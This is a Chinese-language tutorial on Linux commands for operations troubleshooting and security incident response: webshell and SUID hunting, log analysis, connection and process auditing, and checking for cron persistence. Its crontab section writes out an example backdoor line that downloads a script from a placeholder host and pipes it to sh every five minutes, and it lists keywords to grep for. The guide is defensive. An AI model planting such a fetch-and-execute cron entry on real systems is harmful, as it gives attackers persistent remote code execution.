10组Linux命令实战：从运维排查到安全审计的必备技能

开头我就直接说结论：这10组Linux命令，不是所谓“黑客大神”拿来炫技的花活，而是我这些年做系统运维、安全巡检、应急响应时，真正会翻来覆去用的一套基本功。很多人一想到黑客，脑子里全是电影里那种黑底绿字的快速滚动，实际上真到了排查服务器异常、追踪入侵痕迹、检查提权路径的时候，翻来覆去用的就是 find、grep、awk、netstat、nc、tcpdump 这些东西。你把这些命令玩明白了，不敢说能当什么大神，但至少系统出问题、日志找线索、进程查异常的活儿，能顶半边天。

这篇内容适合三类人看：一是刚入门的Linux用户，想知道除了 ls、cd 之外还该学点什么；二是运维工程师，经常要处理服务器变慢、端口异常、文件被篡改的问题；三是对安全测试感兴趣的同学，想建立一套系统排查的思路。我会按“安全视角”来拆解这10个命令，不只讲参数，更重要的是告诉你，遇到真实情况时每个命令该在哪个环节用、怎么用、能发现什么。

1. 为什么是这10个命令：安全视角的命令选型思路

1.1 黑客与运维眼中不一样的命令清单

先纠正一个误区：真正做安全测试的人，跟做运维的人，常用的Linux命令高度重合。原因很简单，攻击者要在系统上搞事情，离不开几类基本操作——找文件、看进程、看网络连接、改权限、留后门。而防御者要发现这些动作，也得靠同一套机制去查。双方其实是在同一张棋盘上博弈。

我见过不少新手一上来就背各种复杂参数的“神技”，比如一条命令查出所有Webshell、一条命令分析流量包，看起来很厉害，但遇到真实场景就抓瞎。因为命令只是工具，核心是思路。你得先知道“我在查什么”，才知道该用哪个命令、带什么参数。

所以这10组命令，我按“运维排查 + 安全审计”的场景重新排了序，每一组都在实际工作中有明确用途：

1.2 学命令的正确姿势：先理解场景再记参数

我经常跟人讲，参数是背不完的，但是场景是可以穷举的。你不一定记得住 find 的全部选项，但只要脑子里有“我要找24小时内被改过的可执行文件”“我要找设置了SUID位的文件”这类具体场景，你自然会去查、去试，时间长了就刻在肌肉记忆里。

这套命令还有一个共同点：它们都是“只读”优先的排查工具。除了 sed 做批量替换、chmod/chown 做权限变更、crontab 做任务管理需要改动系统之外，大部分情况下我们只是读取信息、观察状态、分析数据。所以在真实故障或入侵排查时，先用只读命令收集线索，再决定要不要动系统，这个顺序非常关键。顺序反了，容易把现场破坏掉。

2. 文件定位与日志挖掘：find 和 grep

2.1 find：不只是找文件，更是找“不该存在的东西”

find 大概是所有Linux用户最早接触的命令之一，但在安全场景里，它的价值远不止“找文件”这么简单。我最常用的是下面几种组合。

第一种，按修改时间找文件。攻击者上传webshell、落地恶意脚本，通常都会留下时间痕迹。很多应急响应场景，我们会先问“系统最近一次异常从什么时候开始的”，然后顺着时间窗口去翻文件：

find /tmp /var/tmp /dev/shm -type f -mtime -1 2>/dev/null

这条命令会把 /tmp、/var/tmp、/dev/shm 下最近24小时内被修改过的文件全列出来。为什么优先看这几个目录？因为临时目录一般权限宽松，是攻击者最容易落脚本的地方。如果发现里面躺着一个莫名其妙的 .sh 或 .php 文件，十有八九有情况。

第二种，找SUID文件。这是老生常谈，但确实重要。SUID权限位会让普通用户以文件属主的身份执行程序，如果某个系统文件被挂上SUID，或者某个第三方程序被植入SUID位，就可能成为提权后门：

find / -perm -4000 -type f 2>/dev/null

这条命令输出所有设置了SUID位的可执行文件。正常系统里，这个列表应该是固定的、可控的。你没事的时候跑一遍存个基线，等系统出问题时再跑一遍，一对比就知道多出来的是谁。

第三种，按文件名特征找可疑文件。比如网站被挂了webshell，常见名字有 shell.php、cmd.php、x.php 之类的随机短名字：

find /var/www/html -type f -name "*.php" -mtime -3 2>/dev/null

在正常的网站目录里，php文件不会天天变。如果发现最近三天有一批陌生php文件出现，大概率就是被上传的脚本，接下来再去逐个查内容。

提示：find / 全盘扫在大硬盘上非常慢，而且会刷出一堆权限报错。实战中先把范围缩小到 /tmp、/var/tmp、/dev/shm、/home、/var/www 这些高危目录，再决定要不要扩大范围，效率会高很多。

2.2 grep：日志里的线索比想象中多得多

grep 是日志分析的“第一入口”。很多新手觉得日志分析高大上，其实第一步就是拿 grep 去把关键行捞出来。我不建议一上来就上复杂的日志分析平台，命令行往往最快：

grep "Failed password" /var/log/auth.log | head

这是看SSH暴力破解的经典命令。Debian/Ubuntu 系统的SSH日志在 /var/log/auth.log，CentOS/RHEL 在 /var/log/secure。要是有人在爆破你的服务器，这条命令会刷出来一堆“Failed password for invalid user ...”。

光看失败记录还不够，还得知道攻击者从哪些IP来的、爆破了多少次：

grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head

输出结果就是“次数 来源IP”的排序表。次数最高的那几个IP，直接可以加进防火墙黑名单。这种场景同时用到了 grep 和 awk，后面讲awk的时候还会再展开。

再看Web日志。假设你用Nginx，想找谁在扫描你的站点：

grep -E "\.(php|asp|jsp)" /var/log/nginx/access.log | grep -E "cmd|eval|shell" | head

如果出现大量带 cmd、eval、shell 这类关键词的请求，那基本可以判定有人在尝试找你的webshell入口。

注意：有些日志文件被轮转过，或者系统时间不对，grep出来的结果可能不完整。排查时先看日志行的时间字段，再确定时间窗口，不要拿着全量日志瞎猜。

2.3 实战案例：5分钟定位可疑脚本

给你一个我处理过的典型场景。某天客户报障，说服务器CPU忽高忽低，访问网站偶发卡顿。我先登录服务器，一条命令看当前进程，一条命令看临时目录，然后组合出击：

ps aux --sort=-%cpu | head -5 find /tmp -type f -mtime -1 -name "*.sh" 2>/dev/null

结果看到一个 /tmp/update.sh，内容是一段从外部地址下载并执行文件的脚本，CPU飙高则是因为它已经拉下来一个挖矿程序在跑。整个过程从登录到定位，用了不到5分钟。这里的核心就是：先用 ps 确认异常进程，再用 find 找到对应的启动脚本，最后用 grep 确认脚本内容，三个命令配合，问题链路就清晰了。

3. 文本处理不炫技：awk 手里出真相

3.1 awk：按列提取日志字段，统计攻击来源

awk 是文本处理的常青树，尤其在日志分析里，它的地位几乎是不可替代的。日志文件本身就是“一行一条记录，每条记录按空格分成多个字段”的结构，awk 天生适合做这种处理。

最基本的分字段统计：

awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10

access.log 的第一列通常是访客IP，这条命令会把所有访问IP统计并排序，直接看哪些IP在频繁请求。把它跟 grep 结合，就能统计某个时间段的请求：

awk '$4 >= "[01/Oct/2025:00:00:00" && $4 <= "[01/Oct/2025:23:59:59"' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head

这比在Excel里拖半天快得多。awk 还可以自己定义分隔符，比如某些日志用逗号或竖线分隔，只要加一个 -F 参数：

awk -F':' '{print $1}' /etc/passwd

把 /etc/passwd 里所有用户名提取出来。再配合循环就能快速检查系统里有哪些用户：

for user in $(awk -F: '{print $1}' /etc/passwd); do echo "== $user =="; crontab -u "$user" -l 2>/dev/null; done

这条命令能一次性把系统上所有用户的计划任务拉出来，省去一个个切换用户查看的麻烦。

3.2 sed：批量处理时的“手术刀”

sed 我放在awk旁边讲，因为它俩经常一起出现。sed 的强项是“按行处理”和“批量替换”。应急响应里最常见的用法是清理恶意代码：

sed -i 's/外部的恶意域名/127.0.0.1/g' /etc/hosts

或者把某个配置文件里所有的旧IP换成新IP：

sed -i 's/192.168.1.10/192.168.1.20/g' /etc/nginx/nginx.conf

还有一个很有用的排查技巧：用 sed 查看文件的指定行范围。比如日志文件很大，你只想起中间某一段，可以直接：

sed -n '1000,1200p' /var/log/syslog

这样不会把整个文件读进终端，也不容易卡死。注意，sed -i 是直接改文件的，没有确认机制。我一般会在改动前先复制一份原文件留底，万一改错了还能回滚：

cp /etc/hosts /etc/hosts.bak.20251001 sed -i 's/old/new/g' /etc/hosts

4. 网络排查三件套：netstat/ss、nc、tcpdump

4.1 netstat 和 ss：一眼看出异常连接

服务器被入侵后，最明显的异常之一就是网络连接。正常情况下，业务服务器对外发起的连接应该很有限，如果突然冒出一堆连向陌生IP的 ESTABLISHED 连接，就要警惕了。netstat 和 ss 就是看这个的：

netstat -antlp ss -antlp

两者作用类似，ss 性能更好，很多新系统只装了 ss 没装 netstat。参数含义：-a 显示所有连接，-n 用数字显示地址和端口，-t 只看TCP，-l 只看监听状态，-p 显示进程PID和名称。

排查思路很简单：先看 LISTEN 状态的端口，有没有意料之外的新端口开着；再看 ESTABLISHED 状态的外网地址，有没有可疑的主动外联。举个例子，服务器没有邮件服务，却看到一条到外网 IP:25 的长连接，那基本可以断定有问题。

想动态观察连接变化，可以配 watch：

watch -n 1 'ss -antp | grep ESTAB'

每秒刷新一次，如果看到某个连接反复出现、消失，很可能是心跳型后门。

4.2 nc：网络工具箱里的瑞士军刀

nc 全名 netcat，网络调试工具里的常青树。它的功能很多，但我在排查和测试场景中最常用的有两个。

一个是端口连通性测试：

nc -zv 192.168.1.100 22

-z 表示扫描模式不发送数据，-v 显示详情。这条命令是判断某台机器某个端口通不通的最快方式，比 telnet 更干净，比 ping 更准确（ping 只能测主机通不通，测不了端口）。

另一个是临时监听端口收数据。比如怀疑内部网络中某台机器在向外回连，可以在排查机上起一个监听：

nc -lvp 8080

不过这里要提醒一句：这是双向工具，既可以用于排查，也可能被攻击者用来做反弹连接。所以具体用法不属于本文重点。防御者要清楚它的原理，才能在后门排查中判断出“为什么有进程在监听8080端口”。

4.3 tcpdump：抓包才能看到真相

有些问题靠看连接状态是发现不了的，比如服务器在向一个不明地址发送大量数据，但连接瞬间就断，netstat 根本来不及抓。这时候只能抓包。tcpdump 是命令行抓包的事实标准：

tcpdump -i eth0 -n host 192.168.1.50 and port 8080 -w capture.pcap

参数说明：-i 指定网卡，-n 不做域名解析，host 指定IP，port 指定端口，-w 把包写入文件。抓完包之后，用 tcpdump 直接读：

tcpdump -r capture.pcap -n | head -50

或者把 pcap 文件拉到本地，用 Wireshark 打开看图形界面，分析更直观。

真实场景里，我抓过的最经典一次：某台服务器的安全软件总报有外联，但所有日志都查不到进程。后来用 tcpdump 抓到一段发往境外地址的加密流量，顺着源端口反查进程，才发现木马把自身伪装成了内核线程，藏在某个系统服务里。如果没有 tcpdump，这种问题几乎无从下手。

注意：tcpdump 抓包会消耗磁盘空间，建议加 -c 指定抓包数量，或者用 -C 和 -W 做文件轮转，避免把磁盘写满。

5. 权限与进程审计：chmod/chown、ps、lsof

5.1 chmod/chown：权限就是边界

Linux系统的权限模型，本质上就是“边界”。谁来读、谁来写、谁来执行，全在权限位里写着。很多安全问题的根因，就是权限设置太宽松，给了攻击者可乘之机。

检查目录权限的时候，我常用：

ls -al /var/www/html | head find /var/www/html -type f -perm /002 2>/dev/null

第二行会列出所有“其他用户可写”的文件。如果网站目录里存在这样的文件，攻击者一旦打入，就能直接篡改文件内容，甚至写入webshell。

修复权限是另一个高频操作。网站目录的推荐做法是：文件用644，目录用755：

find /var/www/html -type f -exec chmod 644 {} \; find /var/www/html -type d -exec chmod 755 {} \;

chown 也类似。如果一个文件属主不对，比如应用目录里冒出一个属主为 www-data 的脚本，而它本来不该属 www-data，那就要人工确认。批量修复时要注意：chown -R 一旦改错，可能导致服务无法启动。改之前务必确认当前属主和预期属主。

5.2 ps 和 top：谁在偷偷运行

挖矿木马、僵尸程序的共同特征，是CPU或内存占用异常。用 ps 按CPU排序，一眼就能看到：

ps aux --sort=-%cpu | head -10

如果某个进程CPU超过100%（多核情况下单进程可以超100%），就是重点怀疑对象。top 也可以看，按大写P按CPU排序，再加上 -c 参数显示完整命令行：

top -c

排查进程时，光看名字不够，要看路径。很多木马会把进程名伪装成系统内核线程的样子，比如 [kthreadd] 这种带方括号的名字是内核线程标志，正常进程名不会带方括号。如果 ps 输出里出现一个疑似内核线程的进程，但用 ls /proc/PID/exe 一看，指向 /tmp/xxx，那基本就实锤了。

查看进程的可执行文件路径和启动目录：

ls -l /proc/1234/exe ls -l /proc/1234/cwd

这两条可以快速确认进程的真实身份。之后再配合 lsof 查它打开了哪些文件、连接了哪些地址，整个脉络就非常清楚。

5.3 lsof：打开的文件会说话

lsof 是“list open files”的缩写，在排查里简直是一把万能钥匙。最常用的场景有三个。

第一个，查端口被哪个进程占用。netstat 虽然也能看，但 lsof 输出更直观：

lsof -i :8080

直接告诉你8080端口是谁的PID、进程名、用户、完整命令。第二个，查某个PID到底在跟谁通信、打开了什么文件：

lsof -p 1234

第三个，是很多人不知道的神技：查“被删除但仍被进程占用”的文件：

lsof +L1

这个命令会列出所有已经删除、但依然被进程打开的文件。平时磁盘空间明明没满，df 一看却显示100%，很可能就是这种情况。而攻击者删掉木马文件后如果进程还活着，这个命令也能把它揪出来。遇到被删除但还活着的日志文件，甚至可以从 /proc/PID/fd 里把内容捞出来，在应急里就是证据保全。

6. 计划任务后门排查：crontab（以及history这个彩蛋）

6.1 crontab：后门最爱藏的地方

攻击者想长期控制一台服务器，就得让恶意程序“持久化”。最朴素的手段就是写计划任务，定时去执行某个脚本。所以排查计划任务是每一个安全人员的必修课。

每个用户的计划任务可以用 crontab -l 看，但注意它只看当前用户自己。要检查所有用户的计划任务，需要管理员权限：

for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u "$user" -l 2>/dev/null; done

系统级的计划任务还要看这几个地方：

cat /etc/crontab ls /etc/cron.d/ ls /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/

有些老版本发行版还会把用户任务存在 /var/spool/cron/ 或 /var/spool/cron/crontabs/ 里，也值得翻一翻。重点搜索的内容包括：curl 或 wget 加管道执行的、base64解码执行的、写日志到 /tmp 的。比如这样一行计划任务就非常可疑：

*/5 * * * * wget -q -O- http://xxx/sh | sh

意思是每5分钟下载一个脚本并执行，这就是标准的下载器后门。发现后先停任务，再清理脚本。

6.2 history：一条命令还原操作记录

history 不是严格意义上的安全命令，但它在排查中的作用被严重低估。每台Linux服务器上，用户敲过的命令都会记录在 ~/.bash_history 里。如果系统被入侵，攻击者在shell里输过什么命令，这里通常会留下痕迹：

cat ~/.bash_history | grep -E "wget|curl|chmod|useradd|passwd" | tail -50

还可以给history加上时间戳，方便复盘：

export HISTTIMEFORMAT="%F %T " history | tail -50

这里有个重要提醒：history只能作为辅助线索，不能当作唯一证据。因为攻击者可以主动清除bash_history，甚至直接禁用历史记录。真要留证据，得靠系统层的 auditd、auth.log、shell日志这类更底层的审计机制。所以我把history定位成“彩蛋命令”——运气好时一条命令就能还原攻击者干过的事，运气不好时它可能就是空的，别指望它包打天下。

6.3 系统化安全排查的完整命令序列

到这里，10组命令其实已经讲完了。但很多新手真正困惑的是：这些命令我都会，真出事时该怎么串起来？我把自己常用的排查顺序写给你：

# 1. 先看系统时间和运行时长，确认事件窗口 date; uptime # 2. 看登录记录和失败记录 last -20 grep "Accepted" /var/log/auth.log | tail -20 # 3. 看当前用户和所有超级用户 cat /etc/passwd | grep -E "/(home|root)" awk -F: '$3==0{print $1}' /etc/passwd # 4. 看当前网络连接，找异常外联 ss -antp # 5. 按CPU排序看进程 ps aux --sort=-%cpu | head -10 # 6. 看临时目录和最近改动的文件 find /tmp /var/tmp /dev/shm -type f -mtime -1 2>/dev/null # 7. 看计划任务 for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u "$user" -l 2>/dev/null; done cat /etc/crontab ls -la /etc/cron.d/ # 8. 看SUID文件和全局可写文件 find / -perm -4000 -type f 2>/dev/null find / -perm -2 -type f 2>/dev/null | head -50 # 9. 看被删除但还打开的文件 lsof +L1

这套流程不一定每一步都出结果，但按这个顺序过一遍，大多数常规后门和木马都藏不住。特别是第8步，SUID异常文件是提权的常见通道，也是热搜词里“linux提权”最常涉及的排查点。

7. 常见问题与排查技巧实录

7.1 命令不存在或权限不够怎么办

很多排查命令需要root权限，所以第一步就是确认自己的用户权限。普通用户跑 ss -antp 看不到PID，跑 tcpdump 直接报权限错误，这时候用 sudo 或者切换到root账户。但我要强调一句：生产环境操作前先确认自己在做什么，别上来就 sudo s 乱敲。

另一个高频问题是命令没装。新版系统里 netstat 经常不在，ss 是替代品，用法高度一致；nc 也有多个变种，Debian系用 netcat-openbsd，CentOS系用 ncat，功能大同小异。tcpdump 没有预装时，通常需要安装：

apt install tcpdump # 或 yum install tcpdump

7.2 日志被清除了怎么查

攻击者往往在完成操作后清空日志。bash_history 可以删，/var/log/auth.log 可以清，但这不代表完全没有痕迹。第一，检查日志文件是否存在“空白期”，文件时间戳是否被动过；第二，检查shell的history是否被软链接到 /dev/null；第三，如果日志轮转还在运行，旧的轮转文件里可能还有残留数据：

ls -la /var/log/*.gz | head zcat /var/log/auth.log.*.gz | grep "Failed" | head

再有，systemd 系统的 journal 日志也可能留存数据：

journalctl -u sshd --since "3 days ago"

7.3 一个完整的“服务器异常”排查流程（实操版）

最后给你一个我常用的落地流程。假设你收到告警，说某台Linux服务器CPU长时间超过80%。

第一步，先登录服务器跑 uptime 看负载：

uptime

第二步，跑 ps aux --sort=-%cpu 找出CPU大户。如果进程路径在 /tmp 或 /var/tmp，基本可以断定有问题：

ps aux --sort=-%cpu | head -5 ls -l /proc/PID/exe

第三步，跑 ss -antp 看这个进程是否有外联连接，找到连接的远端IP和端口。

第四步，用 tcpdump 抓这个进程对外连接的包：

tcpdump -i eth0 host 远端IP -w /tmp/evidence.pcap

抓一段时间后停止，把 pcap 拉回本地分析。同时用 find 检查 /tmp、计划任务等位置，看看是不是有持续性的启动脚本。这套流程下来，从“CPU高”到“知道谁在干什么”，基本能串成一条完整的证据链。

我自己在实际排查中还有个习惯：每执行一条命令，都把输出追加到一个文件里，比如：

date >> /tmp/check.log ss -antp >> /tmp/check.log

等排查完再统一整理，既是记录，也是给后续分析留底。这比边查边截屏靠谱得多，尤其在有大量输出需要回溯的时候。

结尾：一点个人体会

最后说点题外话。我见过太多人把“学安全”等同于“背命令”，天天研究各种看起来很高深的参数组合，真到系统出问题的时候反而手忙脚乱。我自己也踩过不少坑：有一回线上服务器被种了挖矿木马，进程名伪装得像模像样，用 top 怎么翻都看不出来，最后是靠着 lsof +L1 抓到一个已被删除却仍在运行的木马文件，才把整个链路打通。所以这10组命令，我不建议你一次性全记，而是先找一台测试机，把每条命令的实际输出跑一遍，理解它“能看到什么”，比背参数有用得多。下次再有人吹嘘黑客神技，你可以笑着跟他说：能把这10组命令用出花的，才是真正的高手。